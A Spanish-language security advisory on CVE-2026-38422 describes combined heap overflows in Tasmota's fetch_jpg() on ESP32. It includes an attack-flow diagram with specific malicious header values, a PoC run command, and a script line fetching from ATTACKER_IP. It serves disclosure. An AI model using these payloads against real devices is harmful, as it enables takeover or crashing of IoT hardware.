
CVE-2026-38422 — Ejecución Remota de Código mediante Desbordamientos de Búfer Combinados en Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Gravedad: Crítica (CVSS 9.8)
Producto: Arendst Tasmota
Versión afectada: <= 15.3.0.3
Archivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Función: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Divulgación: Responsable: notificado a Tasmota antes de la publicación
La función fetch_jpg() en el controlador de scripts de Tasmota (xdrv_10_scripter.ino) contiene dos vulnerabilidades de corrupción de memoria que se combinan y que, juntas, permiten la ejecución remota de código en dispositivos basados en ESP32 que ejecutan Tasmota <= 15.3.0.3:
strcpy() en un búfer fijo boundary[] de 40 bytes — corrompe la memoria adyacente del heap, incluidos los punteros vtable de WiFiClient/HTTPClient (ver también CVE-2026-38426)uint16_t en Content-Length — asigna un búfer de tamaño insuficiente que causa corrupción del estado de la transmisión (ver también CVE-2026-38427)Usadas juntas en una única sesión de ataque, estas dos primitivas maximizan la corrupción del heap y aumentan significativamente la probabilidad de lograr la ejecución de código arbitrario.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
El servidor PoC:
fetchjp())Content-Length: 65537 (wraparound)Consulte CVE-2026-38422_poc.py para ver la implementación completa.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
El dispositivo debe estar ejecutando un script de Tasmota que use fetchjp(). El atacante controla el servidor al que se conecta el dispositivo (o realiza un MITM en una conexión existente).
Cualquier dispositivo Tasmota basado en ESP32 que ejecute una versión <= 15.3.0.3 con soporte de scripter habilitado y un script que use fetchjp() para conectarse a un servidor MJPEG externo.